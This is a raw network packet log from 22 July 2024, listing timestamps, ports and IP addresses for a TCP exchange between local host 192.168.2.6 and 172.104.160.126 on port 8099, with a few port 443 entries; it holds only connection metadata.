Jul 22, 2024 15:57:48.940603971 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940603971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940638065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940639019 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940670967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940702915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940725088 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940737009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940757990 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940769911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940802097 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940834999 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940856934 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940884113 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940898895 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940917969 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941266060 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941301107 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941324949 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.941334963 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941359043 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.941368103 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941401005 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941433907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941453934 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.941464901 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941493988 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.941498995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941533089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.941586971 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942365885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942399025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942430973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942439079 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942465067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942481995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942512035 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942544937 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942576885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942598104 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942609072 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942636013 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942641973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942673922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942707062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942728996 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942756891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942765951 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942790031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942821980 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942857027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942881107 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942893982 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942909956 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.942928076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942960024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.942992926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943012953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943025112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943048954 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943052053 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943063974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943078995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943094015 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943108082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943111897 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943124056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943137884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943147898 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943156004 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943166971 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943185091 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943557978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943581104 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943594933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943609953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943610907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943625927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943640947 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943655968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943658113 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943670988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943686008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943697929 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943701029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943716049 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943717957 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.943739891 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.943774939 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944278002 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944293022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944308043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944323063 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944338083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944351912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944353104 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944366932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944372892 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944381952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944391966 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944396973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944411993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944427967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944442034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944448948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944458008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.944495916 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.944523096 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945147038 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945162058 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945177078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945190907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945204973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945215940 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945219040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945235014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945245981 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945250034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945265055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945266962 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945278883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945293903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945307016 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945307970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945307016 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945324898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945341110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945355892 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945391893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.945945978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945961952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945976973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945991039 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.945997000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.946005106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946021080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946038961 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.946069002 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.946284056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946299076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946314096 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946327925 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.946336031 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.946393967 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.950069904 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.954977989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.954993010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955008030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955061913 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955113888 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955132008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955146074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955162048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955176115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955203056 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955250025 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955264091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955437899 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955471992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955504894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955535889 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955538034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955570936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955573082 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955604076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955636024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955656052 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955672026 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955688000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.955960989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.955993891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956027985 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956051111 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956078053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956085920 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956111908 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956144094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956176996 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956199884 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956208944 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956235886 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956242085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956274033 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956306934 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956326962 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956338882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956362009 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956374884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956407070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956442118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956463099 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956527948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956794977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956830978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956864119 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956896067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.956897974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956933022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.956957102 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.983923912 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.983993053 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.984030962 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.984069109 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.984077930 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.984127045 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.984389067 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.984405041 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.984744072 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.984826088 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.984894037 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.986629963 CEST	443	49703	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:48.986751080 CEST	49703	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:49.008908033 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020303965 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020359039 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020392895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020427942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020515919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020548105 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020576000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020582914 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020661116 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020668983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020701885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020736933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020760059 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020770073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020802021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020828962 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.020832062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020879984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.020908117 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021177053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021209955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021243095 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021244049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021277905 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021296024 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021311045 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021342993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021375895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021395922 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021408081 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021428108 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021441936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021473885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021497965 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021507025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021539927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021572113 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021598101 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.021605968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.021632910 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022015095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022047043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022080898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022083044 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022114038 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022145033 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022146940 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022181034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022198915 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022213936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022247076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022265911 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022279024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022311926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022334099 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022345066 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022377014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022412062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022432089 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022444963 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022466898 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022479057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022538900 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.022907972 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022958994 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.022993088 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023027897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023050070 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023058891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023086071 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023092985 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023124933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023156881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023186922 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023202896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023226023 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023236036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023268938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023300886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023330927 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023333073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023365974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023379087 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023399115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023428917 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023432016 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023488998 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023864031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023897886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023931026 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023947954 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.023962975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.023994923 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024015903 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024029016 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024060965 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024092913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024112940 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024125099 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024147987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024158001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024189949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024205923 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024223089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024252892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024285078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024307966 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024317980 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024347067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024350882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024384022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024436951 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024873018 CEST	8099	49717	172.104.160.126	192.168.2.6
